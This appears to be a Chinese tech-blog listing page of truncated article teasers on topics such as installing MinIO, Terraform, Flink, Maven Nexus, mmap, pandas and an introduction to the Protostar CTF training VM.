1.为什么阿里巴巴强制要求使用包装类型定义属性&#xff1f; 我认为主要有以下几个方面的原因&#xff1a; 默认值问题&#xff1a;使用基本数据类型定义属性时&#xff0c;如果没有给属性赋初始值&#xff0c;会使用默认值&#xff08;如 int 的默认值为 0&#xff09;&…

linux安装minio以及springboot整合使用

文章目录 1.linux安装minio2.springboot整合minio使用 1.linux安装minio 1.新建文件夹 mkdir /home/minio # 数据文件夹 mkdir /home/minio/data # 创建日志文件夹 mkdir /home/minio/log2.进入文件夹 cd /home/minio3.下载minio&#xff0c;链接可从官网获取 wget https://…

【Terraform学习】使用 Terraform创建DynamoDB添加项目(Terraform-AWS最佳实战学习)

本站以分享各种运维经验和运维所需要的技能为主 《python》&#xff1a;python零基础入门学习 《shell》&#xff1a;shell学习 《terraform》持续更新中&#xff1a;terraform_Aws学习零基础入门到最佳实战 《k8》暂未更新 《docker学习》暂未更新 《ceph学习》ceph日常问题解…

4.1 链式栈StackT

C关键词&#xff1a;内部类/模板类/头插 C自学精简教程 目录(必读) C数据结构与算法实现&#xff08;目录&#xff09; 栈的内存结构 空栈&#xff1a; 有一个元素的栈&#xff1a; 多个元素的栈&#xff1a; 成员函数说明 0 clear 清空栈 clear 函数负责将栈的对内存释放…

CCF HPC China2023|澎峰科技:使能先进计算,赋能行业应用

CCF HPC China2023圆满落幕&#xff01; 桂秋八月&#xff0c;为期三天的中国高性能计算领域最高规格盛会——2023CCF全球高性能计算学术年会&#xff08;HPC China&#xff09;在青岛红岛国际展览中心圆满落幕。行业超算大咖、顶级学界精英、先锋企业领袖参会者齐聚山东青岛&a…

联邦学习FedAvg-基于去中心化数据的深度网络高效通信学习

随着计算机算力的提升&#xff0c;机器学习作为海量数据的分析处理技术&#xff0c;已经广泛服务于人类社会。 然而&#xff0c;机器学习技术的发展过程中面临两大挑战&#xff1a;一是数据安全难以得到保障&#xff0c;隐私泄露问题亟待解决&#xff1b;二是网络安全隔离和行业…

uniapp 配置网络请求并使用请求轮播图

由于平台的限制&#xff0c;小程序项目中不支持 axios&#xff0c;而且原生的 wx.request() API 功能较为简单&#xff0c;不支持拦截器等全局定制的功能。因此&#xff0c;建议在 uni-app 项目中使用 escook/request-miniprogram 第三方包发起网络数据请求。 官方文档&#xf…

【C++入门】命名空间、缺省参数、函数重载、引用、内联函数

​&#x1f47b;内容专栏&#xff1a; C/C编程 &#x1f428;本文概括&#xff1a; C入门学习必备语法 &#x1f43c;本文作者&#xff1a; 阿四啊 &#x1f438;发布时间&#xff1a;2023.9.3 前言 C是在C的基础之上&#xff0c;容纳进去了面向对象编程思想&#xff0c;并增加…

大数据-玩转数据-Flink窗口函数

一、Flink窗口函数 前面指定了窗口的分配器, 接着我们需要来指定如何计算, 这事由window function来负责. 一旦窗口关闭, window function 去计算处理窗口中的每个元素. window function 可以是ReduceFunction,AggregateFunction,or ProcessWindowFunction中的任意一种. Reduc…

打包个七夕exe玩玩

前段时间七夕 当别的哥们都在酒店不要不要的时候 身为程序员的我 还在单位群收到收到 正好后来看到大佬些的这个 https://www.52pojie.cn/thread-1823963-1-1.html 这个贱 我必须要犯&#xff0c;可是我也不能直接给他装个python吧 多麻烦 就这几个弹窗 好low 加上bgm 再打包成…

Nexus仓库介绍以及maven deploy配置

一 、Nexus仓库介绍 首先介绍一下Nexus的四个仓库的结构&#xff1a; maven-central 代理仓库&#xff0c;代理了maven的中央仓库&#xff1a;https://repo1.maven.org/maven2/&#xff1b; maven-public 仓库组&#xff0c;另外三个仓库都归属于这个组&#xff0c;所以我们的…

贝叶斯神经网络 - 捕捉现实世界的不确定性

贝叶斯神经网络 - 捕捉现实世界的不确定性 Bayesian Neural Networks 生活本质上是不确定性和概率性的&#xff0c;贝叶斯神经网络 (BNN) 旨在捕获和量化这种不确定性 在许多现实世界的应用中&#xff0c;仅仅做出预测是不够的&#xff1b;您还想知道您对该预测的信心有多大。例…

第2章 Linux多进程开发 2.18 内存映射

内存映射&#xff1a;可以进行进程间的通信 1.如果对mmap的返回值(ptr)做操作(ptr), munmap是否能够成功? void * ptr mmap(…); ptr; 可以对其进行操作 munmap(ptr, len); // 错误,要保存地址 2.如果open时O_RDONLY, mmap时prot参数指定PROT_READ | PROT_WRITE会怎样? 错…

二进制安全虚拟机Protostar靶场 安装,基础知识讲解,破解STACK ZERO

简介 pwn是ctf比赛的方向之一&#xff0c;也是门槛最高的&#xff0c;学pwn前需要很多知识&#xff0c;这里建议先去在某宝上买一本汇编语言第四版&#xff0c;看完之后学一下python和c语言&#xff0c;python推荐看油管FreeCodeCamp的教程&#xff0c;c语言也是 pwn题目大部…

SpringBoot 使用MyBatis分页插件实现分页功能

SpringBoot 使用MyBatis分页插件实现分页功能 1、集成pagehelper2、配置pagehelper3、编写代码4、分页效果 案例地址&#xff1a; https://gitee.com/vinci99/paging-pagehelper-demo/tree/master 1、集成pagehelper <!-- 集成pagehelper --> <dependency><gr…

“亚马逊云科技创业加速器”首期聚焦AI,促进入营企业业务发展

生成式AI技术飞速发展&#xff0c;颠覆着人们的生活&#xff0c;正在掀起新一轮的科技革命。在生成式AI的浪潮中&#xff0c;亚马逊云科技旨在为中国的优秀初创企业提供全方位支持&#xff0c;助其抢占先机。 在6月底举办的亚马逊云科技中国峰会上&#xff0c;亚马逊云科技联合…

6. series对象及DataFrame对象知识总结

【目录】 文章目录 6. series对象及DataFrame对象知识总结1. 导入pandas库2. pd.Series创建Series对象2.1 data 列表2.2 data 字典 3. s1.index获取索引4. s1.value获取值5. pd.DataFrame()-创建DataFrame 对象5.1 data 列表5.2 data 嵌套列表5.3 data 字典 6. df[列索引]…

java对象创建的过程

1、检查指令的参数是否能在常量池中定位到一个类的符号引用 2、检查此符号引用代表的类是否已被加载、解析和初始化过。如果没有&#xff0c;就先执行相应的类加载过程 3、类加载检查通过后&#xff0c;接下来虚拟机将为新生对象分配内存。 4、内存分配完成之后&#xff0c;…

一句话画出动漫效果

链接&#xff1a; AI Comic Factory - a Hugging Face Space by jbilcke-hfDiscover amazing ML apps made by the communityhttps://huggingface.co/spaces/jbilcke-hf/ai-comic-factory 选择类型&#xff1a; Japanese 输入提示词&#xff1a; beauty and school love st…

12、监测数据采集物联网应用开发步骤(9.1)

监测数据采集物联网应用开发步骤(8.2) TCP/IP Server开发 在com.zxy.common.Com_Para.py中添加如下内容 #锁机制 lock threading.Lock() #本机服务端端口已被连接客户端socket list dServThreadList {} #作为服务端接收数据拦截器 ServerREFLECT_IN_CLASS "com.plug…